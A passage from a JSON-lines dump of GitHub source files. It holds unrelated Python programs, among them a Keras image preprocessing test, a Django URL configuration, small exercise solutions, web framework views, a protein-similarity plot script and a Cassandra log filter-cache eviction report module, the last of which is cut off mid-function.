parser.add_argument('--data_dir', default='data/shapenet/test4096')\r\n parser.add_argument('--model', default='asfm_net')\r\n parser.add_argument('--gpus', default='0')\r\n parser.add_argument('--log_dir', default='log/asfm')\r\n parser.add_argument('--results_dir', default='results/asfm/shapenet')\r\n parser.add_argument('--num_gt_points', type=int, default=4096)\r\n parser.add_argument('--num_input_points', type=int, default=4096)\r\n parser.add_argument('--step_ratio', type=int, default=4)\r\n parser.add_argument('--plot_freq', type=int, default=100)\r\n parser.add_argument('--save_pcd', action='store_true')\r\n args = parser.parse_args()\r\n\r\n test(args)\r\n","repo_name":"Yan-Xia/ASFM-Net","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"21160498229","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport shutil\n\nimport numpy as np\n\nfrom tensorflow.python.keras._impl import keras\nfrom tensorflow.python.platform import test\n\ntry:\n import PIL # pylint:disable=g-import-not-at-top\nexcept ImportError:\n PIL = None\n\n\ndef _generate_test_images():\n img_w = img_h = 20\n rgb_images = []\n gray_images = []\n for _ in range(8):\n bias = np.random.rand(img_w, img_h, 1) * 64\n variance = np.random.rand(img_w, img_h, 1) * (255 - 64)\n imarray = np.random.rand(img_w, img_h, 3) * variance + bias\n im = keras.preprocessing.image.array_to_img(imarray, scale=False)\n rgb_images.append(im)\n\n imarray = np.random.rand(img_w, img_h, 1) * variance + bias\n im = keras.preprocessing.image.array_to_img(imarray, scale=False)\n gray_images.append(im)\n\n return [rgb_images, gray_images]\n\n\nclass TestImage(test.TestCase):\n\n def test_image_data_generator(self):\n if PIL is None:\n return # Skip test if PIL is not available.\n\n for test_images in _generate_test_images():\n img_list = []\n for im in test_images:\n img_list.append(keras.preprocessing.image.img_to_array(im)[None, ...])\n\n images = np.vstack(img_list)\n generator = keras.preprocessing.image.ImageDataGenerator(\n featurewise_center=True,\n samplewise_center=True,\n featurewise_std_normalization=True,\n samplewise_std_normalization=True,\n zca_whitening=True,\n rotation_range=90.,\n width_shift_range=0.1,\n height_shift_range=0.1,\n shear_range=0.5,\n zoom_range=0.2,\n channel_shift_range=0.,\n fill_mode='nearest',\n cval=0.5,\n horizontal_flip=True,\n vertical_flip=True)\n # Basic test before fit\n x = np.random.random((32, 10, 10, 3))\n generator.flow(x)\n\n # Fit\n generator.fit(images, augment=True)\n\n for x, _ in generator.flow(\n images,\n np.arange(images.shape[0]),\n shuffle=True):\n self.assertEqual(x.shape[1:], images.shape[1:])\n break\n\n def test_image_data_generator_invalid_data(self):\n generator = keras.preprocessing.image.ImageDataGenerator(\n featurewise_center=True,\n samplewise_center=True,\n featurewise_std_normalization=True,\n samplewise_std_normalization=True,\n zca_whitening=True,\n data_format='channels_last')\n\n # Test fit with invalid data\n with self.assertRaises(ValueError):\n x = np.random.random((3, 10, 10))\n generator.fit(x)\n # Test flow with invalid data\n with self.assertRaises(ValueError):\n generator.flow(np.arange(5))\n # Invalid number of channels: will work but raise a warning\n x = np.random.random((32, 10, 10, 5))\n generator.flow(x)\n\n with self.assertRaises(ValueError):\n generator = keras.preprocessing.image.ImageDataGenerator(\n data_format='unknown')\n\n generator = keras.preprocessing.image.ImageDataGenerator(\n zoom_range=(2, 2))\n with self.assertRaises(ValueError):\n generator = keras.preprocessing.image.ImageDataGenerator(\n zoom_range=(2, 2, 2))\n\n def test_image_data_generator_fit(self):\n generator = keras.preprocessing.image.ImageDataGenerator(\n featurewise_center=True,\n samplewise_center=True,\n featurewise_std_normalization=True,\n samplewise_std_normalization=True,\n zca_whitening=True,\n data_format='channels_last')\n # Test grayscale\n x = np.random.random((32, 10, 10, 1))\n generator.fit(x)\n # Test RBG\n x = np.random.random((32, 10, 10, 3))\n generator.fit(x)\n generator = keras.preprocessing.image.ImageDataGenerator(\n featurewise_center=True,\n samplewise_center=True,\n featurewise_std_normalization=True,\n samplewise_std_normalization=True,\n zca_whitening=True,\n data_format='channels_first')\n # Test grayscale\n x = np.random.random((32, 1, 10, 10))\n generator.fit(x)\n # Test RBG\n x = np.random.random((32, 3, 10, 10))\n generator.fit(x)\n\n def test_directory_iterator(self):\n if PIL is None:\n return # Skip test if PIL is not available.\n\n num_classes = 2\n\n temp_dir = self.get_temp_dir()\n self.addCleanup(shutil.rmtree, temp_dir)\n\n # create folders and subfolders\n paths = []\n for cl in range(num_classes):\n class_directory = 'class-{}'.format(cl)\n classpaths = [\n class_directory, os.path.join(class_directory, 'subfolder-1'),\n os.path.join(class_directory, 'subfolder-2'), os.path.join(\n class_directory, 'subfolder-1', 'sub-subfolder')\n ]\n for path in classpaths:\n os.mkdir(os.path.join(temp_dir, path))\n paths.append(classpaths)\n\n # save the images in the paths\n count = 0\n filenames = []\n for test_images in _generate_test_images():\n for im in test_images:\n # rotate image class\n im_class = count % num_classes\n # rotate subfolders\n classpaths = paths[im_class]\n filename = os.path.join(classpaths[count % len(classpaths)],\n 'image-{}.jpg'.format(count))\n filenames.append(filename)\n im.save(os.path.join(temp_dir, filename))\n count += 1\n\n # Test image loading util\n fname = os.path.join(temp_dir, filenames[0])\n _ = keras.preprocessing.image.load_img(fname)\n _ = keras.preprocessing.image.load_img(fname, grayscale=True)\n _ = keras.preprocessing.image.load_img(fname, target_size=(10, 10))\n\n # create iterator\n generator = keras.preprocessing.image.ImageDataGenerator()\n dir_iterator = generator.flow_from_directory(temp_dir)\n\n # check number of classes and images\n self.assertEqual(len(dir_iterator.class_indices), num_classes)\n self.assertEqual(len(dir_iterator.classes), count)\n self.assertEqual(sorted(dir_iterator.filenames), sorted(filenames))\n _ = dir_iterator.next()\n\n def test_img_utils(self):\n if PIL is None:\n return # Skip test if PIL is not available.\n\n height, width = 10, 8\n\n # Test channels_first data format\n x = np.random.random((3, height, width))\n img = keras.preprocessing.image.array_to_img(\n x, data_format='channels_first')\n self.assertEqual(img.size, (width, height))\n x = keras.preprocessing.image.img_to_array(\n img, data_format='channels_first')\n self.assertEqual(x.shape, (3, height, width))\n # Test 2D\n x = np.random.random((1, height, width))\n img = keras.preprocessing.image.array_to_img(\n x, data_format='channels_first')\n self.assertEqual(img.size, (width, height))\n x = keras.preprocessing.image.img_to_array(\n img, data_format='channels_first')\n self.assertEqual(x.shape, (1, height, width))\n\n # Test channels_last data format\n x = np.random.random((height, width, 3))\n img = keras.preprocessing.image.array_to_img(x, data_format='channels_last')\n self.assertEqual(img.size, (width, height))\n x = keras.preprocessing.image.img_to_array(img, data_format='channels_last')\n self.assertEqual(x.shape, (height, width, 3))\n # Test 2D\n x = np.random.random((height, width, 1))\n img = keras.preprocessing.image.array_to_img(x, data_format='channels_last')\n self.assertEqual(img.size, (width, height))\n x = keras.preprocessing.image.img_to_array(img, data_format='channels_last')\n self.assertEqual(x.shape, (height, width, 1))\n\n def test_img_transforms(self):\n x = np.random.random((3, 200, 200))\n _ = keras.preprocessing.image.random_rotation(x, 20)\n _ = keras.preprocessing.image.random_shift(x, 0.2, 0.2)\n _ = keras.preprocessing.image.random_shear(x, 2.)\n _ = keras.preprocessing.image.random_zoom(x, (0.5, 0.5))\n with self.assertRaises(ValueError):\n keras.preprocessing.image.random_zoom(x, (0, 0, 0))\n _ = keras.preprocessing.image.random_channel_shift(x, 2.)\n\n\nif __name__ == '__main__':\n test.main()\n","repo_name":"benoitsteiner/tensorflow-opencl","sub_path":"tensorflow/python/keras/_impl/keras/preprocessing/image_test.py","file_name":"image_test.py","file_ext":"py","file_size_in_byte":8036,"program_lang":"python","lang":"en","doc_type":"code","stars":468,"dataset":"github-code","pt":"31"} +{"seq_id":"13128489094","text":"#https://www.acmicpc.net/problem/15650\n\nimport sys\n\ndef combin(n,m):\n l=[]\n if m==1:\n for i in range(1,n+1):\n l.append([i])\n return l\n elif n==m:\n return [list(range(1,n+1))]\n for i in range(1,n+1):\n temp=combin(n-i,m-1)\n for j in range(len(temp)):\n for k in range(len(temp[j])):\n temp[j][k]+=i\n temp[j]=[i]+temp[j]\n l+=temp\n return l\n\n\nline=sys.stdin.readline().strip().split()\nl=combin(int(line[0]),int(line[1]))\nfor c in l:\n print(*c)\n","repo_name":"yehoon17/beakjoon","sub_path":"15650.py","file_name":"15650.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20969540681","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nfrom . import views\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'moviebar.views.home', name='home'),\n # url(r'^moviebar/', include('moviebar.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n\n url(r'^alltags/', views.alltags),\n url(r'^tag/(?P\\d+)/$', views.tag),\n url(r'^selected/', views.selected),\n url(r'^movie/(?P\\d+)/$', views.movie),\n url(r'^search/$', views.search),\n url(r'^coupon/', views.coupon),\n url(r'^update/$', views.update),\n url(r'^$', views.home, name='home'),\n\n)\n","repo_name":"crossin/moviebar","sub_path":"moviebar/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29028543786","text":"def trovaPosto(Reparto):\n i = 0\n maxReparto = 0\n PostoScelto = -1\n \n if (Reparto == \"1\"):\n maxReparto = 5\n elif(Reparto == \"2\"):\n i = 5\n maxReparto = 10\n\n while PostoScelto == -1 and i < maxReparto:\n if (Posti[i] == 0):\n PostoScelto = i\n Posti[i] = 1\n else:\n i += 1\n return PostoScelto\n \ndef controlloTuttiOccupati():\n for i in range(len(Posti)):\n if (Posti[i] == 0):\n return False\n return True\nPosti = [0,0,0,0,0,0,0,0,0,0]\nwhile(not controlloTuttiOccupati()):\n \n SceltaReparto = input(\"Digitare 1 per fumatori o 2 per non fumatori:\")\n\n PostoScelto = trovaPosto(SceltaReparto)\n\n if (PostoScelto != -1 and SceltaReparto == \"1\"):\n postostampa = PostoScelto+1\n print(\"Reparto fumatori, posto\", postostampa)\n\n if (PostoScelto != -1 and SceltaReparto == \"2\"):\n postostampa = PostoScelto+1\n print(\"Reparto NON fumatori, posto\", postostampa)\n\n if (PostoScelto == -1):\n scelta = input(\"Reparto scelto al completo. Si desidera un posto nell'altro reparto (S/N)?\")\n if (scelta == \"N\"):\n print(\"Il prossimo volo parte tra 3 ore\")\n \n if (scelta == \"S\"):\n PostoScelto == -1\n if (SceltaReparto == \"1\"):\n PostoScelto = trovaPosto(\"2\")\n postostampa = PostoScelto+1\n print(\"Reparto NON fumatori, posto\", postostampa)\n else:\n PostoScelto = trovaPosto(\"1\")\n postostampa = PostoScelto+1\n print(\"Reparto fumatori, posto\", postostampa)","repo_name":"gabrielegrillo/Fondamenti1-Unical","sub_path":"n41.py","file_name":"n41.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72570594967","text":"from random import randint\nlen_v = int(input(\"Digite o tamanho do vetor: \"))\nvar_v = []\nfor i in range(len_v):\n var_v.append(randint(0, 9))\nheel_size = int(input(\"Digite o tamanho do salto: \"))\nprint(var_v)\ni = 0\nfor _ in range(len_v // heel_size):\n for _ in range(heel_size):\n print(var_v[i], end = \" \")\n i += 1\n print()","repo_name":"debsk/Redes","sub_path":"obs.py","file_name":"obs.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"910772715","text":"from my_framework.templator import render\nfrom patterns.my_creation_patterns import Engine, Logger, MapperRegistry\nfrom patterns.my_structural_patterns import MyDecorator, DecTimeit\nfrom patterns.my_beh_patterns import EmailNotif, SmsNotif, ListView, CreateView, BaseSerializer\nfrom patterns.my_arch_patterns import UnitOfWork\n\nsite = Engine()\nlogger = Logger('main')\nemail_notifier = EmailNotif()\nsms_notifier = SmsNotif()\nUnitOfWork.new_current()\nUnitOfWork.get_current().set_mapper_registry(MapperRegistry)\n\nroutes = {}\n\n\n# контроллер - главная страница\n@MyDecorator(routes=routes, url='/')\nclass Index:\n @DecTimeit(name='Index')\n def __call__(self, request):\n return '200 OK', render('index.html', objects_list=site.categories, date=request.get('date', None),\n python_ver=request.get('python_ver', None))\n\n\n@MyDecorator(routes=routes, url='/about/')\nclass About:\n @DecTimeit(name='About')\n def __call__(self, request):\n return '200 OK', render('about.html', date=request.get('date', None))\n\n\n@MyDecorator(routes=routes, url='/gallery/')\nclass Gallery:\n @DecTimeit(name='Gallery')\n def __call__(self, request):\n return '200 OK', 'Gallery'\n\n\n@MyDecorator(routes=routes, url='/hello/')\nclass Hello:\n @DecTimeit(name='Hello')\n def __call__(self, request):\n return '200 OK', render('hello.html', username=request.get('request_params', {}).get('username'))\n\n\nclass NotFound404:\n @DecTimeit(name='NotFound404')\n def __call__(self, request):\n return '404 WHAT', '404 PAGE Not Found'\n\n\n# контроллер - список курсов\n@MyDecorator(routes=routes, url='/courses-list/')\nclass CoursesList:\n @DecTimeit(name='CoursesList')\n def __call__(self, request):\n logger.log('Список курсов')\n try:\n category = site.find_category_by_id(int(request['request_params']['id']))\n return '200 OK', render('courses_list.html', objects_list=category.courses, name=category.name,\n id=category.id)\n except KeyError:\n return '200 OK', 'No courses have been added yet'\n\n\n# контроллер - создать курс\n@MyDecorator(routes=routes, url='/create-course/')\nclass CreateCourse:\n category_id = -1\n\n @DecTimeit(name='CreateCourse')\n def __call__(self, request):\n if request['method'] == 'POST':\n # метод пост\n data = request['data']\n\n name = data['name']\n name = site.decode_value(name)\n\n category = None\n if self.category_id != -1:\n category = site.find_category_by_id(int(self.category_id))\n\n course = site.create_course('record', name, category)\n # Добавляем наблюдателей на курс\n course.observers.append(email_notifier)\n course.observers.append(sms_notifier)\n site.courses.append(course)\n\n return '200 OK', render('courses_list.html', objects_list=category.courses,\n name=category.name, id=category.id)\n\n else:\n try:\n self.category_id = int(request['request_params']['id'])\n category = site.find_category_by_id(int(self.category_id))\n\n return '200 OK', render('create_course.html', name=category.name, id=category.id)\n except KeyError:\n return '200 OK', 'No categories have been added yet'\n\n\n# контроллер - копировать курс\n@MyDecorator(routes=routes, url='/clone-course/')\nclass CloneCourse:\n @DecTimeit(name='CloneCourse')\n def __call__(self, request):\n request_params = request['request_params']\n\n try:\n name = request_params['name']\n old_course = site.get_course(name)\n if old_course:\n new_name = f'clone_{name}'\n new_course = old_course.clone()\n new_course.name = new_name\n site.courses.append(new_course)\n\n return '200 OK', render('courses_list.html', objects_list=site.courses)\n except KeyError:\n return '200 OK', 'No courses have been added yet'\n\n\n# контроллер - создать категорию\n@MyDecorator(routes=routes, url='/create-category/')\nclass CreateCategory:\n @DecTimeit(name='CreateCategory')\n def __call__(self, request):\n\n if request['method'] == 'POST':\n # метод пост\n print(request)\n data = request['data']\n\n name = data['name']\n name = site.decode_value(name)\n\n category_id = data.get('category_id')\n\n category = None\n if category_id:\n category = site.find_category_by_id(int(category_id))\n\n new_category = site.create_category(name, category)\n\n site.categories.append(new_category)\n\n return '200 OK', render('index.html', objects_list=site.categories)\n else:\n categories = site.categories\n return '200 OK', render('create_category.html', categories=categories)\n\n\n# контроллер - список категорий\n@MyDecorator(routes=routes, url='/category-list/')\nclass CategoryList:\n @DecTimeit(name='CategoryList')\n def __call__(self, request):\n logger.log('Список категорий')\n return '200 OK', render('category_list.html', objects_list=site.categories)\n\n\n@MyDecorator(routes=routes, url='/follower-list/')\nclass FollowerListView(ListView):\n queryset = site.followers\n template_name = 'follower_list.html'\n\n def get_queryset(self):\n mapper = MapperRegistry.get_current_mapper('follower')\n result = mapper.all()\n for follower in result:\n for course in site.courses:\n for course_follower in course.followers:\n if course_follower.id == follower.id:\n follower.courses.append(course)\n return result\n\n\n@MyDecorator(routes=routes, url='/create-follower/')\nclass FollowerCreateView(CreateView):\n template_name = 'create_follower.html'\n\n def create_obj(self, data: dict):\n name = data['name']\n name = site.decode_value(name)\n new_obj = site.create_user('follower', name)\n site.followers.append(new_obj)\n new_obj.mark_new()\n UnitOfWork.get_current().commit()\n\n\n@MyDecorator(routes=routes, url='/add-follower/')\nclass AddFollowerByCourseCreateView(CreateView):\n template_name = 'add_follower.html'\n\n def get_context_data(self):\n context = super().get_context_data()\n context['courses'] = site.courses\n context['followers'] = site.followers\n return context\n\n def create_obj(self, data: dict):\n course_name = data['course_name']\n course_name = site.decode_value(course_name)\n course = site.get_course(course_name)\n follower_name = data['follower_name']\n follower_name = site.decode_value(follower_name)\n follower = site.get_follower(follower_name)\n course.add_follower(follower)\n\n\n@MyDecorator(routes=routes, url='/api/')\nclass CourseApi:\n @DecTimeit(name='CourseApi')\n def __call__(self, request):\n return '200 OK', BaseSerializer(site.courses).save()\n","repo_name":"TatianaGrishechkina/python_arch_templ","sub_path":"Lesson1_TGrishechkina/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9868125791","text":"def writeVertical(n):\n if 0 <= n < 10:\n print(n)\n elif n < 0:\n print(\"-\")\n writeVertical(-n)\n else:\n writeVertical(n//10)\n print(n%10)\n\n\ndef negdisp(n):\n if len(n) == 1:\n print(n)\n else:\n negdisp(n[0:len(n)-1])\n print(n[-1])\n\n\ndef disp(n):\n if n < 10:\n print(n)\n else:\n disp(n//10)\n print(n % 10)\n\n\ndef main():\n n = int(input(\"Enter number: \"))\n # print(disp(n))\n\n # print(negdisp(str(n)))\n print(writeVertical(n))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Abhinavgandhi09/CS5007","sub_path":"Fall 2021 CS 5007/Recursion/writeVertical.py","file_name":"writeVertical.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32353028711","text":"# タンパク質同士の類似度について\n# 1. MSAの距離\n# 2. TAPEのコサイン類似度\n# 3. keywordのtfidfのコサイン類似度\n# を比較する\n# %%\nimport pandas as pd\nimport seaborn as sns\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\nPROJECT_PATH = os.environ[\"PROJECT_PATH\"]\n\nfrom src.util.similarity_protein import Similarity\nfrom src.util.similarity_strategy import BlastP, TAPE, KeywordCosine\n\n# %%\nsimilarity = Similarity()\n\nsimilarity.setStrategy(BlastP())\nmsa = similarity.executeStrategy()\n\nsimilarity.setStrategy(TAPE())\ntape = similarity.executeStrategy()\n\nsimilarity.setStrategy(KeywordCosine())\nkeyword = similarity.executeStrategy()\n\nassert msa.shape == tape.shape == keyword.shape\nassert (msa.columns == tape.columns).all()\nassert (keyword.columns == tape.columns).all()\n\n# %%\n\ndata = pd.DataFrame(\n {\n \"blastp (bitscore)\": similarity.flatten_tri(msa),\n \"TAPE (cosine)\": similarity.flatten_tri(tape),\n \"Keyword (cosine)\": similarity.flatten_tri(keyword),\n }\n)\n\nsplot = sns.pairplot(data, plot_kws={\"alpha\": 0.1})\nsplot.fig.suptitle(\"Similarity of proteins\")\nfor ax in splot.axes.flatten():\n if ax.get_xlabel() == \"blastp (bitscore)\":\n ax.set(xscale=\"log\")\n if ax.get_ylabel() == \"blastp (bitscore)\":\n ax.set(yscale=\"log\")\nsplot.fig.subplots_adjust(top=0.9)\nsplot.fig.savefig(\n os.path.join(PROJECT_PATH, \"src/plot/img\", \"similarity_protein_compare.png\")\n)\n\n# %%\n","repo_name":"edge2992/eCLIP_ENCODE","sub_path":"src/plot/similarity_protein_compare.py","file_name":"similarity_protein_compare.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36178356828","text":"import sys\nimport base\nfrom RegexParser import RegexParser\nfrom SMCParser import SMCParser\nfrom LexParser import LexParser\n\nclass IODialog(object):\n \n _DEFAULT_LOG = 'log.log'\n\n def __init__(self, parser: base.IParser):\n retcode = 0\n if len(sys.argv) == 1:\n print(\"Press (linux) Ctrl+D or (Windows) Ctrl+Z to exit\")\n print(\"Enter strings to check\")\n try:\n while True:\n s = input().lower()\n print(f\"Result: {parser.parse(s)}\")\n except EOFError:\n print(\"Good bye!\")\n elif len(sys.argv) <= 3:\n logFile = sys.argv[2] if len(sys.argv) == 3 else self.DEFAULT_LOG\n inpFile = sys.argv[1]\n with open(logFile, 'w+', encoding='UTF-8') as log:\n with open(inpFile, 'r', encoding='UTF-8') as inp:\n for line in inp.readlines():\n res = parser.parse(line)\n log.write(str(res)+'\\n')\n else:\n print(\"Too much arguments were passed\")\n retcode = 1\n sys.exit(retcode)\n\nif __name__ == '__main__':\n print(\"1. SMC\\n2. LeX\\n Other. regex\")\n print(\"Select parser: \")\n res = input()\n if res == '1':\n IODialog(SMCParser())\n elif res == '2':\n parser = LexParser()\n parser.build()\n IODialog(parser)\n else:\n IODialog(RegexParser())\n","repo_name":"KPEdit/AT_lab1","sub_path":"laba/Dialog.py","file_name":"Dialog.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"70173210967","text":"# CRIE UM PROGRAMA QUE LEIA O NOME E O PREÇO DE VÁRIOS PRODUTOS. O PROGRAMA DEVERÁ PERGUTAR\r\n# SE O USUÁRIO QUER CONTINUAR. NO FINAL MOSTRE:\r\n# O VALOR TOTAL DA COMPRA, QUANTOS PRODUTOS CUSTAM MAIS DE 1000 REAIS, QUAL O RODUTO MAIS BARATO. #\r\n\r\nsoma = mil = maior = menor = cont = preco = 0\r\nwhile True:\r\n\r\n print('='*35)\r\n print('SUPER LOJÃO')\r\n print('='*35)\r\n\r\n prod = str(input(\">> Digite o nome do produto:\")).upper\r\n\r\n preco = float(input('>> R$ Preço:'))\r\n soma += preco\r\n cont += 1\r\n if preco > 1000:\r\n mil += 1\r\n\r\n if cont == 1:\r\n menor = preco\r\n else:\r\n if preco < menor:\r\n menor = preco\r\n\r\n op = int(input('Quer continuar? SIM - press { 1 } | Não - press { 2 }'))\r\n if op == 2:\r\n break\r\n\r\n\r\n\r\nprint(' ')\r\nprint('------------- FIM DO PROGRAMA -------------------')\r\n\r\nprint(f'O total da compra foi: {soma}')\r\nprint(f'Quantidade de produtos com mais de R$ 1000: {mil}')\r\nprint(f'Preço do produto mais barato: {menor:.2f}')","repo_name":"DavidWesleyl/Phyton_Projects","sub_path":"exercicio069.py","file_name":"exercicio069.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20977588991","text":"import functools\nimport os\nimport sys\nfrom collections import OrderedDict\nfrom operator import attrgetter, itemgetter\nfrom pysper import dates, diag, parser, util, humanize, recs\nfrom pysper.core import OrderedDefaultDict\n\n\ndef sort_evict_freq(first_block, second_block):\n \"\"\"sorts in ascending order if value is greater than 0\n , otherwise all 0 values are placed last\"\"\"\n first = first_block.avg_evict_freq\n second = second_block.avg_evict_freq\n if first == 0.0 and second == 0.0:\n return 0\n if first == 0:\n return sys.float_info.min\n if second == 0:\n return float(\"inf\")\n return first - second\n\n\nclass NodeReportBlock:\n \"\"\"each row in the final report for final stats\"\"\"\n\n def __init__(self, first_evict, last_evict, name):\n self.name = name\n min_utc_time = dates.min_utc_time()\n max_utc_time = dates.max_utc_time()\n if last_evict == min_utc_time:\n first_evict = min_utc_time\n last_evict = min_utc_time\n if first_evict == max_utc_time:\n first_evict = min_utc_time\n last_evict = min_utc_time\n evict_seconds = (last_evict - first_evict).total_seconds()\n self.evict_range = evict_seconds * 1000\n self.log_duration = 0\n self.byte_limit = 0\n self.last_byte_limit = last_evict\n self.item_limit = 0\n self.last_item_limit = 0\n self.avg_evict_duration = 0.0\n self.avg_evict_freq = 0.0\n\n def __repr__(self):\n \"\"\"string representation for debugging\"\"\"\n return \"name {} freq: {:2f} duration: {:2f} byte limit: {:d} item limit: {:d} logs ms: {:d}\".format(\n self.name,\n self.avg_evict_freq,\n self.avg_evict_duration,\n self.byte_limit,\n self.item_limit,\n int(self.evict_range),\n )\n\n\nclass BytesFCStats:\n \"\"\"represents a single bytes based filter cache eviction\"\"\"\n\n def __init__(self, event):\n self.name = \"byte\"\n self.time_stamp = event.get(\"date\")\n self.fc_id = event.get(\"id\")\n self.duration = 0\n self.usage_after = None\n self.usage_after_unit = None\n self.maximum = event.get(\"maximum\", 0)\n self.maximum_unit = event.get(\"maximum_unit\", \"GB\")\n\n def add_duration_event(self, event):\n \"\"\"adds the duration event to the stats\"\"\"\n self.duration = event.get(\"duration\", 0)\n self.usage_after = event.get(\"usage\", 0)\n self.usage_after_unit = \"bytes\"\n\n def __repr__(self):\n \"\"\"string verion of fc stats\"\"\"\n return \"name: byte ts: %s id: %s duration: %i\" % (\n self.time_stamp,\n self.fc_id,\n self.duration,\n )\n\n\nclass ItemFCStats:\n\n \"\"\"represents a single item based filter cache eviction\"\"\"\n\n def __init__(self, event):\n self.name = \"item\"\n self.time_stamp = event.get(\"date\")\n self.fc_id = event.get(\"id\")\n self.entries = event.get(\"entries\")\n self.maximum = event.get(\"maximum\", 0)\n self.duration = 0\n self.usage = None\n self.usage_unit = None\n\n def add_duration_event(self, event):\n \"\"\"adds the duration event to the stats\"\"\"\n self.duration = event.get(\"duration\", 0)\n self.usage = event.get(\"usage\", 0)\n self.usage_unit = event.get(\"usage_unit\", \"GB\")\n\n def __repr__(self):\n \"\"\"string verion of fc stats\"\"\"\n return \"name: item ts: %s id: %s duration: %i\" % (\n self.time_stamp,\n self.fc_id,\n self.duration,\n )\n\n\ndef _get_stats(events, ctor, key_name):\n \"\"\"adds the corresponding duration event.\n\n Note the the get_id hack is error prone when spanning logs as half an event could not finish\n \"\"\"\n eviction_stats = {\n event.get(\"id\", i): ctor(event)\n for (i, event) in enumerate(\n [event for event in events if event.get(\"event_type\", \"\") == key_name]\n )\n }\n duration_stats = {\n event.get(\"id\", i): event\n for (i, event) in enumerate(\n [\n event\n for event in events\n if event.get(\"event_type\", \"\") == \"eviction_duration\"\n ]\n )\n }\n for key, stats in eviction_stats.items():\n duration_event = duration_stats.get(key)\n if not duration_event:\n duration_event = OrderedDict()\n stats.add_duration_event(duration_event)\n return eviction_stats\n\n\ndef calculate_eviction_stats(raw_events, after_time, before_time):\n assert after_time < before_time\n filter_cache_events = [\n event\n for event in raw_events\n if event.get(\"event_category\", \"\") == \"filter_cache\"\n and \"date\" in event\n and after_time < event[\"date\"] < before_time\n ]\n item_eviction_stats = _get_stats(filter_cache_events, ItemFCStats, \"eviction_items\")\n bytes_eviction_stats = _get_stats(\n filter_cache_events, BytesFCStats, \"eviction_bytes\"\n )\n return (item_eviction_stats, bytes_eviction_stats)\n\n\ndef parse(args):\n \"\"\"parse entry point, generates a report object\n from a tarball or series of files\"\"\"\n logs = diag.find_files(args, args.system_log_prefix)\n if args.diag_dir == \".\":\n directory_path = os.getcwd()\n print(\"from directory '%s':\" % directory_path)\n else:\n print(\"from directory '%s':\" % args.diag_dir)\n node_stats = OrderedDict()\n after_time = dates.date_parse(args.after)\n before_time = dates.date_parse(args.before)\n for log in logs:\n start_log_time, last_log_time = diag.log_range(log)\n with diag.FileWithProgress(log) as log_file:\n raw_events = parser.read_system_log(log_file)\n item_ev_stats, bytes_ev_stats = calculate_eviction_stats(\n raw_events, after_time, before_time\n )\n node = util.extract_node_name(log, True)\n node_stats[node] = OrderedDict(\n [\n (\"evictions\", (bytes_ev_stats, item_ev_stats)),\n (\"start\", start_log_time),\n (\"end\", last_log_time),\n ]\n )\n return OrderedDict(\n [\n (\"nodes\", node_stats),\n (\"after_time\", after_time),\n (\"before_time\", before_time),\n ]\n )\n\n\ndef create_report_block(first_evict, last_evict, events, log_duration, name):\n \"\"\"creates the report block for the node\"\"\"\n report_block = NodeReportBlock(first_evict, last_evict, name)\n report_block.log_duration = log_duration\n stats = [stat for event in events for stat in event.values() if stat.duration > 0]\n byte_evictions = [stat for stat in stats if stat.name == \"byte\"]\n byte_limit = len(byte_evictions)\n item_evicitions = [stat for stat in stats if stat.name == \"item\"]\n item_limit = len(item_evicitions)\n total_evictions = byte_limit + item_limit\n duration = sum([x.duration for x in stats])\n report_block.avg_evict_freq = (\n float(report_block.evict_range) / float(total_evictions)\n if report_block.evict_range and total_evictions\n else 0.0\n )\n report_block.avg_evict_duration = (\n float(duration) / float(total_evictions)\n if duration and total_evictions\n else 0.0\n )\n report_block.item_limit = item_limit\n report_block.byte_limit = byte_limit\n report_block.last_item_limit = item_evicitions[-1].maximum if item_evicitions else 0\n report_block.last_byte_limit = (\n humanize.to_bytes(byte_evictions[-1].maximum, byte_evictions[-1].maximum_unit)\n if byte_evictions\n else 0\n )\n return report_block\n\n\ndef generate_recommendations(report, node_info):\n \"\"\"generate recommendations and add them to report\"\"\"\n report.append(\"recommendations\")\n report.append(\"---------------\")\n # generate recommendations\n fc_recs = OrderedDict()\n for node in node_info:\n key = recs.analyze_filter_cache_stats(node)\n if key[0] and key[1]:\n if key not in fc_recs:\n fc_recs[key] = []\n fc_recs[key].append(node.name)\n if not fc_recs:\n report.append(\"No recommendations\\n\")\n return\n sorted_recs = []\n for rec in fc_recs:\n nodes = fc_recs[rec]\n sorted_recs.append((rec[0], rec[1], nodes, len(nodes)))\n sorted(sorted_recs, key=itemgetter(3), reverse=True)\n if len(sorted_recs) > 1:\n 